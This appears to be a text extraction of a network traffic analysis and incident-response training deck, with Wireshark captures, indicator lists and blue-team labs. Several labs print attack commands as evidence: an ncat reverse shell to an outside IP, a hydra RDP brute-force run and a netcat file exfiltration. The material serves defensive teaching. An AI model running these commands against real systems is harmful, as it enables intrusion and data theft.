Request timed out.
Request timed out.
Request timed out.

Ping statistics for 50.112.60.145:
    Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
C:\Windows\system32>
```

No.	Time	Source	Destination	Protocol	Length	Info
→	46 0.666317	192.168.1.45	192.168.0.2	DNS	76	Standard query 0xbcdc A delivery-ups.com
	49 0.691045	192.168.1.45	192.168.0.2	DNS	76	Standard query 0xbcdc A delivery-ups.com
←	52 0.708099	192.168.0.2	192.168.1.45	DNS	92	Standard query response 0xbcdc A delivery-ups.com A 50.112.60.145
	53 0.708100	192.168.0.2	192.168.1.45	DNS	92	Standard query response 0xbcdc A delivery-ups.com A 50.112.60.145
	54 0.714306	192.168.1.45	50.112.60.145	ICMP	74	Echo (ping) request id=0x0001, seq=1/256, ttl=128 (no response found!)
	234 5.581545	192.168.1.45	50.112.60.145	ICMP	74	Echo (ping) request id=0x0001, seq=2/512, ttl=128 (no response found!)
	503 10.568043	192.168.1.45	50.112.60.145	ICMP	74	Echo (ping) request id=0x0001, seq=3/768, ttl=128 (no response found!)
	604 15.581201	192.168.1.45	50.112.60.145	ICMP	74	Echo (ping) request id=0x0001, seq=4/1024, ttl=128 (no response found!)

ICMP - Reply

```
C:\Windows\system32>ping corporateblue.com
Pinging corporateblue.com [104.28.27.44] with 32 bytes of data:
Reply from 104.28.27.44: bytes=32 time=7ms TTL=46
Reply from 104.28.27.44: bytes=32 time=11ms TTL=46
Reply from 104.28.27.44: bytes=32 time=10ms TTL=46
Reply from 104.28.27.44: bytes=32 time=11ms TTL=46

Ping statistics for 104.28.27.44:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 7ms, Maximum = 11ms, Average = 9ms
```

No.	Time	Source	Destination	Protocol	Length	Info
88	1.618999	192.168.1.45	192.168.0.2	DNS	77	Standard query 0x0059 A corporateblue.com
90	1.627955	192.168.0.2	192.168.1.45	DNS	109	Standard query response 0x0059 A corporateblue.com A 104.28.27.44 A 104.28.26.44
91	1.632515	192.168.1.45	104.28.27.44	ICMP	74	Echo (ping) request id=0x0001, seq=5/1280, ttl=128 (reply in 92)
92	1.641321	104.28.27.44	192.168.1.45	ICMP	74	Echo (ping) reply id=0x0001, seq=5/1280, ttl=46 (request in 91)
125	2.650269	192.168.1.45	104.28.27.44	ICMP	74	Echo (ping) request id=0x0001, seq=6/1536, ttl=128 (reply in 138)
138	2.659030	104.28.27.44	192.168.1.45	ICMP	74	Echo (ping) reply id=0x0001, seq=6/1536, ttl=46 (request in 125)
164	3.665914	192.168.1.45	104.28.27.44	ICMP	74	Echo (ping) request id=0x0001, seq=7/1792, ttl=128 (reply in 165)
165	3.674707	104.28.27.44	192.168.1.45	ICMP	74	Echo (ping) reply id=0x0001, seq=7/1792, ttl=46 (request in 164)
188	4.681466	192.168.1.45	104.28.27.44	ICMP	74	Echo (ping) request id=0x0001, seq=8/2048, ttl=128 (reply in 189)
189	4.690299	104.28.27.44	192.168.1.45	ICMP	74	Echo (ping) reply id=0x0001, seq=8/2048, ttl=46 (request in 188)

Common Traffic



tftp.pcap



telnet.pcap



snmp.cap



mysql.pcap



smb.cap



arp.pcapng



dns-icmp-success.pcapng



dns-icmp-fail.pcapng



BitTorrent.Transfer1.cap



ldap-dirsync.cap



kerberos-password-change.cap



Indicators of Compromise (IOCs)

OSI Layer & Threat Hunting

Layer	Layer	Attack
7	Application	XSS, Click Jacking, CSRF, Buffer Overflow, DDoS, directory traversal, and more
6	Presentation	SSL strip, weak cipher exploitation, Unicode attacks, and more
5	Session	DNS poisoning, session hijacking, MitM attack, and more
4	Transport	Zombie scan, ACK scan, SYN flood, UDP flood, and DNS exfiltration
3	Network	ICMP flood, Smurf attack, Fraggle attack, OS fingerprinting, IP spoofing, and more
2	Data Link	ARP poisoning, MAC spoofing, sniffing, and more
1	Physical	Wire tapping, jamming, key logger, WiFi cracking, and more

Common Indicators

- Foreign IPs
- Logins from multiple IPs or unusual hours
- HTML response size
- Abnormal DNS queries from a single host
- EGRESS:
 - Suspicious top-level domains e.g. .loan or .click
 - Massive HTTP requests to C&C
 - Unusual port use (e.g. DNS over TCP 80)

The 10 Most Abused Top Level Domains			
As of 20 June 2018 the TLDs with the worst reputations for spam operations are:			
1	.gg	Badness Index: 7.50	Domains seen: 148,642 Bad domains: 97,066 (65.3%)
2	.cf	Badness Index: 7.38	Domains seen: 151,447 Bad domains: 97,335 (64.3%)
3	.ga	Badness Index: 7.34	Domains seen: 152,589 Bad domains: 97,486 (63.9%)
4	.ml	Badness Index: 6.88	Domains seen: 162,672 Bad domains: 97,460 (59.9%)
5	.men	Badness Index: 6.45	Domains seen: 77,847 Bad domains: 46,723 (60.0%)
6	.tk	Badness Index: 6.20	Domains seen: 189,159 Bad domains: 101,655 (53.7%)
7	.top	Badness Index: 5.93	Domains seen: 346,045 Bad domains: 170,431 (49.3%)
8	.work	Badness Index: 5.54	Domains seen: 55,147 Bad domains: 29,667 (53.8%)
9	.click	Badness Index: 5.11	Domains seen: 6,787 Bad domains: 4,158 (61.3%)
10	.loan	Badness Index: 4.96	Domains seen: 85,790 Bad domains: 40,148 (46.8%)

Source: <https://www.spamhaus.org/statistics/tlds/>

Ports to Watch

- 65,535 TCP & UDP Ports
 - Well known = 0 – 1,023
 - Registered = 1,024 – 49,151
 - Dynamic/private = 49,153 – 65,535
 - **HTTP = 80**
 - **HTTPs = 443**
 - **DNS = 53**
 - **RDP = 3389**
 - **FTP = 21**
 - **Telnet = 23**
 - **TFTP = 49**
- | | |
|----------|--|
| 31/tcp | Agent 31, Hackers Paradise, Masters Paradise |
| 1170/tcp | Psyber Stream |
| 1234/tcp | Ultors Trojan |
| 1243/tcp | SubSeven server (default for V1.0-2.0) |
| 1981/tcp | ShockRave |
| 2001/tcp | Trojan Cow |
| 2023/tcp | Ripper Pro |
| 2140/udp | Deep Throat, Invasor |
| 2989/tcp | Rat backdoor |
| 3024/tcp | WinCrash |
| 3150/tcp | Deep Throat, Invasor |
| 3700/tcp | Portal of Doom |
| 4950/tcp | ICQ Trojan |
| 6346/tcp | Gnutella |
| 6400/tcp | The Thing |

Source: garykessler.net

Attack Signatures

- Ping Sweep
- NMAP Scan
- Brute Force FTP
- Brute Force RDP
- Man-in-the-Middle

Malware

- Most common attack vector = Email
- Malware is then downloaded via http or https
- Malware needs to communicate and is rarely self contained
- **Malware Hunting Display Filters:**
 - http.request
 - http.response
 - ssl.handshake.type==1
 - dns.qry.name == "* .cn"
 - ssl.handshake.type==11
 - dns
 - tcp.flag eq 0x0002
 - tcp.port==3389

Locating Hostnames in PCAPs

- udp.port==67 or udp.port==68
 - Option: (12) Host Name
- Bootp
- Windows: nbns
- MAC: ip contains MacBook
- MS ADDS: Kerberos.CNameString and !(Kerberos.CNameString contains \$)


User Agent

- Software acting on behalf of the user
- Browser telling webserver device type
- Website returns best version of site for the device

Windows: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:60.0) Gecko/20100101 Firefox/60.0

Linux: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0

MAC: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5)
AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/11.1.1 Safari/605.1.15



GET / HTTP/1.1
Host: www.cnn.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Ch
537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: countryCode=US; geoData=tustin|CA|92780|US|NA

Windows NT 5.1 - Windows XP
Windows NT 6.0 - Windows Vista
Windows NT 6.1 - Windows 7
Windows NT 6.2 - Windows 8
Windows NT 6.3 - Windows 8.1
Windows NT 10.0 - Windows 10

GET /generate_204 HTTP/1.1

User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.1; SPH-L720T Build/LRX22C)

Host: clients3.google.com

Connection: Keep-Alive

Accept-Encoding: gzip

SCH-I545 - Verizon Galaxy S4

SCH-R970 - U.S. Cellular Galaxy S4

SGH-I337 - AT&T Galaxy S4

SGH-M919 - T-Mobile Galaxy S4

SPH-L720 - Sprint Galaxy S4



Lab: ICMP Tunneling

Scenario

The network admin, Betty, interrupts you as you're reading Peter Kim's Hacker Playbook 3. Ughhhh, just as you were getting to your new pen test lab setup. "Yes Betty?" you ask with an annoyed tone. "I was working with Palo Alto support this weekend on updating our firewall rules and noticed something unusual in the pcap. Can you take a look?" Unfortunately, Betty's laptop had a BSOD when she got back to her desk and the pcap was corrupt, however she did have a screenshot saved. You put down THP3 and look at the screenshot of her pcap.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

*wlan0 [Wireshark 1.10.6 (v1.10.6 from master-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Filter: icmp Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
11700	37.300027000	192.168.43.127	192.168.43.29	ICMP	62	ECHO (ping) request id=0x8007, seq=20119/50754, ttl=255
11709	37.575490000	192.168.43.127	192.168.43.29	ICMP	704	Echo (ping) request id=0xdbde, seq=52800/16590, ttl=255
11711	37.588615000	192.168.43.29	192.168.43.127	ICMP	82	Echo (ping) reply id=0x337d, seq=17724/15429, ttl=255
11712	37.592834000	192.168.43.29	192.168.43.127	ICMP	302	Echo (ping) reply id=0xff64, seq=32722/53887, ttl=255
11713	37.592932000	192.168.43.127	192.168.43.29	ICMP	82	Echo (ping) request id=0xca80, seq=19134/48714, ttl=255
11715	37.595370000	192.168.43.127	192.168.43.29	ICMP	107	Echo (ping) request id=0xf883, seq=21108/29778, ttl=255
11717	37.679446000	192.168.43.29	192.168.43.127	ICMP	157	Echo (ping) reply id=0xab9b, seq=28942/3697, ttl=255
11718	37.679898000	192.168.43.127	192.168.43.29	ICMP	102	Echo (ping) request id=0x89af, seq=34144/24709, ttl=255
11720	37.806275000	192.168.43.127	192.168.43.29	ICMP	221	Echo (ping) request id=0x134e, seq=45072/4272, ttl=255
11721	37.806354000	192.168.43.127	192.168.43.29	ICMP	140	Echo (ping) request id=0xd0b6, seq=54881/25046, ttl=255
11722	37.806494000	192.168.43.127	192.168.43.29	ICMP	1462	Echo (ping) request id=0x84a1, seq=9898/43558, ttl=255
11723	37.806527000	192.168.43.127	192.168.43.29	ICMP	318	Echo (ping) request id=0xdc15, seq=53735/59345, ttl=255
11728	37.817022000	192.168.43.29	192.168.43.127	ICMP	102	Echo (ping) reply id=0x82b8, seq=6862/52762, ttl=255
11729	37.817849000	192.168.43.127	192.168.43.29	ICMP	94	Echo (ping) request id=0x0dbb, seq=61661/56816, ttl=255
11730	37.818367000	192.168.43.127	192.168.43.29	ICMP	308	Echo (ping) request id=0x5b52, seq=50617/47557, ttl=255
11733	37.849667000	192.168.43.29	192.168.43.127	ICMP	94	Echo (ping) reply id=0x2521, seq=36624/4239, ttl=255
11734	37.850446000	192.168.43.29	192.168.43.127	ICMP	94	Echo (ping) reply id=0xf7f1, seq=42276/9381, ttl=255
11735	37.851345000	192.168.43.29	192.168.43.127	ICMP	140	Echo (ping) reply id=0x2cf8, seq=47744/32954, ttl=255
11736	37.851991000	192.168.43.29	192.168.43.127	ICMP	94	Echo (ping) reply id=0xa524, seq=19799/22349, ttl=255
11737	37.888014000	192.168.43.127	192.168.43.29	ICMP	94	Echo (ping) request id=0x2a93, seq=36172/19597, ttl=255
11739	37.963949000	192.168.43.29	192.168.43.127	ICMP	94	Echo (ping) reply id=0xf28b, seq=64735/57340, ttl=255
11740	37.978907000	192.168.43.29	192.168.43.127	ICMP	1462	Echo (ping) reply id=0x03ba, seq=8470/5665, ttl=255
11741	37.979042000	192.168.43.127	192.168.43.29	ICMP	94	Echo (ping) request id=0x7451, seq=28940/5489, ttl=255
0010	02 b2 c8 92 00 00 ff 01	18 cb c0 a8 2b 7f c0 a8		+....
0020	2b 1d 08 00 ca cc db de	ce 40 45 00 02 96 f3 a6			+.....	.@E.....
0030	40 00 40 06 ca 57 0a 00	01 02 68 1c 07 46 b8 51			@. @..W..	..h..F.0
0040	00 50 99 bd 7d 49 6b 12	c8 e3 50 18 00 e5 37 69			.P..}Ik.	..P..7i
0050	00 00 47 45 54 20 2f 20	48 54 54 50 2f 31 2e 31			..GET /	HTTP/1.1
0060	0d 0a 48 6f 73 74 3a 20	64 68 61 76 61 6c 6b 61			..Host:	dhavalka
0070	70 69 6c 2e 63 6f 6d 0d	0a 43 6f 6e 6e 65 63 74			pil.com.	.Connect

File: "/tmp/wireshark_pcapanng_wlan..." Packets: 17074 · Displayed: 11959 (70.0%) · Dropped: 0 (0.0%) Profile: Default



Lab: NetCat File Exfil

Scenario




As you're walking to the break room to get more cold brew coffee, you bump into George who says he's been meaning to call you all day about a possible incident, but he's been swamped with TPS reports. After his lunch break, he noticed that a sensitive document was opened in notepad and he's sure he wasn't looking at that document before he left. There was also a black window open in the background saying something about North Carolina. “Can you look into it?” George asks.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Netcat File Exfiltration



ubuntu@ip-172-26-10-38:~\$ less outfile
This is a text file with sensitive data.
outfile (END)

Attacker PC

Wireshark Analysis

No.	Time	Source	Destination	Info
110	2.898607	192.168.1.100	52.33.20.94	51144 → 80 [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MSS=8961 WS=256 SACK_PERM=1
111	2.899261	52.33.20.94	192.168.1.100	80 → 51144 [SYN, ACK] Seq=0 Ack=1 Win=26883 Len=0 MSS=1460 SACK_PERM=1 WS=64
			52.33.20.94	51144 → 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
			52.33.20.94	51144 → 80 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=40 [TCP segment of a reassembled PDU]
			192.168.1.100	80 → 51144 [ACK] Seq=1 Ack=41 Win=26944 Len=0
			52.33.20.94	51144 → 80 [FIN, ACK] Seq=41 Ack=1 Win=65536 Len=0
			192.168.1.100	80 → 51144 [FIN, ACK] Seq=1 Ack=42 Win=26944 Len=0
			52.33.20.94	51144 → 80 [ACK] Seq=42 Ack=2 Win=65536 Len=0

Mark/Unmark Packet
Ignore/Unignore Packet
Set/Unset Time Reference
Time Shift...
Packet Comment...
Edit Resolved Name

Apply as Filter ▾
Prepare a Filter ▾
Conversation Filter ▾
Colorize Conversation ▾
SCTP ▾
Follow ▾ TCP Stream ▾
Copy ▾
Protocol Preferences ▾

This is a text file with sensitive data.

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Lab: RDP Traffic

Scenario

The system admin, Alfredo, catches you as you're clocking in Monday morning. He says maintenance took 3x as long as usual over the weekend because RDP kept crashing and/or getting locked out. The servers can be slow, but he's never been locked out before. After all, his password is Password1234, he says. You make a mental note to force him to change his password later today. After getting a tall glass of cold brew, you take a look at the pcap for the window in question.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

The Attack

```
root@kali:/home/ec2-user# hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/fasttrack.txt rdp://192.168.1.254
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-07-06 14:08:21
[WARNING] the rdp module is currently reported to be unreliable, most likely against new Windows version. Please test, report - and if
possible, fix.
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent over
writing, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 222 login tries (l:1/p:222), ~222 tries per task
[DATA] attacking rdp://192.168.1.254:3389/
[ATTEMPT] target 192.168.1.254 - login "administrator" - pass "Spring2017" - 1 of 222 [child 0] (0/0)
[ATTEMPT] target 192.168.1.254 - login "administrator" - pass "Spring2016" - 2 of 222 [child 0] (0/0)
[STATUS] 2.00 tries/min, 2 tries in 00:01h, 220 to do in 01:51h, 1 active
[ATTEMPT] target 192.168.1.254 - login "administrator" - pass "Spring2015" - 3 of 222 [child 0] (0/0)
```

Wireshark · Endpoints · lab-rdp.pcapng

Ethernet · 3	IPv4 · 2	IPv6	TCP · 11	UDP				
Address	Port	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	
192.168.1.254	3389	782	805 k	378	759 k	404		
192.168.1.212	44136	85	83 k	44	4776	41		
192.168.1.212	44140	84	82 k	44	4776	40		
192.168.1.212	44126	80	70 k	42	4644	38		
192.168.1.212	44132	80	90 k	41	4578	39		
192.168.1.212	44128	79	89 k	41	4578	38		
192.168.1.212	44130	79	70 k	41	4578	38		
192.168.1.212	44124	78	89 k	41	4578	37		
192.168.1.212	44138	77	70 k	40	4512	37		
192.168.1.212	44134	75	70 k	37	4314	38		
192.168.1.212	44142	65	88 k	33	4039	32		

Wireshark · Conversations · lab-rdp.pcapng

Ethernet · 2	IPv4 · 1	IPv6	TCP · 10	UDP										
Address A	Port A	Address B	Port B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration			
192.168.1.212	44124	192.168.1.254	3389	78	89 k	41	4578	37	85 k	0.000000	31.8320			
192.168.1.212	44126	192.168.1.254	3389	80	70 k	42	4644	38	65 k	31.832192	31.8148			
192.168.1.212	44128	192.168.1.254	3389	79	89 k	41	4578	38	85 k	63.643491	31.7672			
192.168.1.212	44130	192.168.1.254	3389	79	70 k	41	4578	38	65 k	95.409234	31.8775			
192.168.1.212	44132	192.168.1.254	3389	80	90 k	41	4578	39	85 k	127.286705	31.7661			
192.168.1.212	44134	192.168.1.254	3389	75	70 k	37	4314	38	66 k	159.052934	31.7753			
192.168.1.212	44136	192.168.1.254	3389	85	83 k	44	4776	41	78 k	190.826201	31.8136			
192.168.1.212	44138	192.168.1.254	3389	77	70 k	40	4512	37	65 k	222.631906	31.7629			
192.168.1.212	44140	192.168.1.254	3389	84	82 k	44	4776	40	77 k	254.386981	31.8148			
192.168.1.212	44142	192.168.1.254	3389	65	88 k	33	4039	32	84 k	286.198602	0.7233			

tcp.stream eq 7

No. Time Source Destination Protocol Length Info

557 222.631906 192.168.1.212 192.168.1.254 TCP 74 44138 → 3389 [SYN] Seq=0 Win=26883 Len=0 MSS=8961 SACK_PERM=1 TSval=...

558 222.631936 192.168.1.254 192.168.1.212 TCP 74 3389 → 44138 [SYN, ACK] Seq=0 Ack=1 Win=64000 Len=0 MSS=8961 WS=1 SA...

559 222.632276 192.168.1.212 192.168.1.254 TCP 66 44138 → 3389 [ACK] Seq=1 Ack=1 Win=27008 Len=0 TSval=3175437692 TSec...

560 222.632277 192.168.1.212 192.168.1.254 TCP 109 44138 → 3389 [PSH, ACK] Seq=1 Ack=1 Win=27008 Len=43 TSval=317543769...

TCP-Handshake

Wireshark · Packet 560 · lab-rdp.pcapng

[TCP Segment Len: 43]
Sequence number: 1 (relative sequence number)
[Next sequence number: 44 (relative sequence number)]
Acknowledgment number: 1 (relative ack number)
1000 = Header Length: 32 bytes (8)
Flags: 0x018 (PSH, ACK)
Window size value: 211
[Calculated window size: 27008]
[Window size scaling factor: 128]
Checksum: 0xdb01 [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
[SEQ/ACK analysis]
[Timestamps]
TCP payload (43 bytes)

Frame Tree

Data (43 bytes)
Data: 0300002b26e00000000000436f6f6b69653a206d73747368...
[Length: 43]

Hex Dump

0000	06 b5 19 18 8a b0 06 f2	60 a8 fd ce 08 00 45 00 E
0010	00 5f 95 b7 40 00 40 06	1f bf c0 a8 01 d4 c0 a8 @ @
0020	01 fe ac 6a 0d 3d a6 14	c9 d7 66 4b 30 7e 80 18 j = fk0~ ..
0030	00 d3 db 01 00 00 01 01	08 0a bd 45 55 7c 00 51 EU 0
0040	f3 3b 03 00 00 2b 26 e0	00 00 00 00 00 43 6f 6f + & Coo
0050	6b 69 65 3a 20 6d 73 74	73 68 61 73 68 3d 61 64	kie: mst shash=ad
0060	6d 69 6e 69 73 74 72 61	74 6f 72 0d 0a	ministra tor ..

C:\Users\luke\Downloads\Strings>strings -n 12 lab-rdp.pcapng

Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz (with SSE4.2)
64-bit Windows Server 2012 R2, build 9600
Dumpcap (Wireshark) 2.6.1 (v2.6.1-0-g860a78b3)
\Device\NPF_{941AEB2C-182B-4EBB-A180-80D5FC71AA8B}
host 192.168.1.212
64-bit Windows Server 2012 R2, build 9600
Cookie: mstshash=administrator
Cookie: mstshash=administrator
Cookie: mstshash=administrator
Cookie: mstshash=administrator
E#D5;l}Z\uo^cD
Cookie: mstshash=administrator
Cookie: mstshash=administrator
Cookie: mstshash=administrator
?T&W94#XSj=L
Cookie: mstshash=administrator
Cookie: mstshash=administrator
3@;_2BS:3v5!~
Cookie: mstshash=administrator
Counters provided by dumpcap



Lab: Netcat Reverse Shell

Scenario



ncat-reverse-shell.pcapng

Sally calls the security team on Monday morning to report a possible incident. She said she locked her computer Friday before leaving the office and when she got in Monday morning her computer was unlocked and there was a black screen with white writing about cats?

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Netcat Reverse Shell

Victim PC

```
Command Prompt - ncat.exe 52.33.20.94 80 -e cmd.exe
C:\Users\corporate_blue\Downloads>ncat.exe 52.33.20.94 80 -e cmd.exe
The system cannot find the path specified.
```

Attacker PC

```
Netcat-test – Terminal | Lightsail - Mozilla Firefox
① 🔒 https://lightsail.aws.amazon.com/ls/terminal/us-west-2/Netcat-test?protocol=ssh

ubuntu@ip-172-26-10-38:~$ sudo nc -vlp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [54.201.58.143] port 80 [tcp/http] accepted (family 2, sport 51253)
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
```

Copyrigh...

Netcat-test – Terminal | Lightsail - Mozilla Firefox
① 🔒 https://lightsail.aws.amazon.com/ls/terminal/us-west-2/Netcat-test?protocol=ssh

```
ubuntu@ip-172-26-10-38:~$ sudo nc -vlp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [54.201.58.143] port 80 [tcp/http] accepted (family 2, sport 51253)
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\corporate blue\Downloads>whoami
whoami
win-0k89t9c43dj\corporate blue

C:\Users\corporate blue\Downloads>net user
net user

User accounts for \\WIN-0K89T9C43DJ

-----
Administrator          corporate blue        Guest
The command completed successfully.

C:\Users\corporate blue\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 2A3D-3A61

Directory of C:\Users\corporate blue\Downloads

06/28/2018  09:52 PM    <DIR>    .
06/28/2018  09:52 PM    <DIR>    ..
06/28/2018  08:52 PM            27,136 nc-no-e.exe
06/28/2018  09:49 PM            28,160 nc.exe
06/28/2018  09:52 PM    <DIR>            ncat-portable-5.59BETA1
06/30/2011  01:52 PM            1,667,584 ncat.exe
06/28/2018  09:20 PM            40 test.txt
                           4 File(s)      1,722,920 bytes
                           3 Dir(s)   8,847,273,984 bytes free

C:\Users\corporate blue\Downloads>cd nc
cd nc
```

Attacker PC

Wireshark Analysis

No.	Time	Source	Destination	Info
90	1.212461	192.168.1.100	52.33.20.94	51253 → 80 [SYN, ECN, CWR] Seq=0 Win=65
91	1.213035	52.33.20.94	192.168.1.100	80 → 51253 [SYN, ACK] Seq=0 Ack=1 Win=65
92	1.213068	192.168.1.100	52.33.20.94	51253 → 80 [ACK] Seq=1 Ack=1 Win=65
95	1.358930	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=1 Ack=1 Win=65
96	1.359453	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=1 Ack=37 Win=2
97	1.359493	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=37 Ack=1
98	1.359901	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=1 Ack=129 Win=2
318	5.847004	52.33.20.94	192.168.1.100	80 → 51253 [PSH, ACK] Seq=1 Ack=129
319	5.847206	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=129 Ack=8
320	5.847645	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=8 Ack=136 Win=2
326	6.009879	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=136 Ack=8
327	6.010390	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=8 Ack=166 Win=2
328	6.010417	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=166 Ack=8
329	6.010792	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=8 Ack=168 Win=2
330	6.017262	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=168 Ack=8
331	6.017687	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=8 Ack=170 Win=2
332	6.017709	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=170 Ack=8
333	6.018026	52.33.20.94	192.168.1.100	80 → 51253 [ACK] Seq=8 Ack=204 Win=2
400	10.224453	52.33.20.94	192.168.1.100	80 → 51253 [PSH, ACK] Seq=8 Ack=204
401	10.224654	192.168.1.100	52.33.20.94	51253 → 80 [PSH, ACK] Seq=204 Ack=1

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\corporate blue\Downloads whoami
whoami
win-0k89t9c43dj\corporate blue

C:\Users\corporate blue\Downloads net user
net user

User accounts for \\WIN-0K89T9C43DJ
-----
Administrator corporate blue Guest
The command completed successfully.

C:\Users\corporate blue\Downloads >dir
dir
Volume in drive C has no label.
Volume Serial Number is 2A3D-3A61

Directory of C:\Users\corporate blue\Downloads

06/28/2018 09:52 PM <DIR> .
06/28/2018 09:52 PM <DIR> ..
06/28/2018 08:52 PM 27,136 nc-no-e.exe
06/28/2018 09:49 PM 28,160 nc.exe
06/28/2018 09:52 PM <DIR> ncat-portable-5.59BETA1
06/30/2011 01:52 PM 1,667,584 ncat.exe
06/28/2018 09:20 PM 40 test.txt
4 File(s) 1,722,920 bytes
3 Dir(s) 8,847,273,984 bytes free

C:\Users\corporate blue\Downloads>cd nc
cd nc

C:\Users\corporate blue\Downloads>

24 client pkts, 7 server pkts, 12 turns.

Entire conversation (1166 bytes) Show and save data as ASCII Stream 2
Find: Find Next
Filter Out This Stream Print Save as... Back Close Help
```



Lab: Data Breach


Scenario



The CFO calls you into his office and tells you that some confidential data was leaked. He's pretty sure it's an insider and wants the investigation to stay between the two of you. He asks you to perform Incident Response to find out if data was accessed on the file share, who it was accessed by, when it was accessed, and what data accessed to determine if the company needs to report the breach per California's 500 records breach notification laws.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:



File

Edit View Go Capture Analyze Statistics Telephony Wireless Tools

Open Ctrl+O

Open Recent

Merge...

Import from Hex Dump...

Close Ctrl+W

Save Ctrl+S

Save As... Ctrl+Shift+S

File Set

Export Specified Packets...

Export Packet Dissections

Export Packet Bytes... Ctrl+Shift+X

Export PDUs to File...

Export TLS Session Keys...

Export Objects

Print... Ctrl+P

Quit Ctrl+Q



	Src.IP	Src.Port
--	--------	----------

	192.168.1.45	50104
--	--------------	-------

	192.168.1.254	445
--	---------------	-----

	192.168.1.45	50104
--	--------------	-------

	192.168.1.254	445
--	---------------	-----

	192.168.1.45	50104
--	--------------	-------

	192.168.1.254	445
--	---------------	-----

	192.168.1.45	50104
--	--------------	-------

	192.168.1.254	445
--	---------------	-----

	192.168.1.45	50104
--	--------------	-------

	192.168.1.254	445
--	---------------	-----

bits), 182 bytes captured (1456 bits)

(**0c:b5:10:10:8a:b0**), Dst: 06:14:18:20:00:00

DICOM...

Dst: 192.168.1.45

HTTP...

Port: 50104, Seq: 4696,

IMF...

SMB...

TFTP...

Wireshark · Export · SMB object list

Packet	Hostname	Content Type	Size	Filename
35	\\"192.168.1.254\IPC\$	FILE (160/160) R&W [100.00%]	160 bytes	\srvsvc
164	\\"192.168.1.254\Confidential	FILE (102/102) R [100.00%]	102 bytes	\CreditCards.txt

Wireshark · Follow TCP Stream (tcp.stream eq 1) · lab-data-breach (2).pcapng

The screenshot shows a Wireshark window displaying a TCP stream (Stream 1). The stream consists of multiple segments of data, primarily in ASCII format, with some binary data represented by dots. A red rectangular box highlights the last few segments of the stream, which contain card numbers:

MasterCard	5105105105105100	MasterCard	5555555555554444
Visa	4111111111111111		
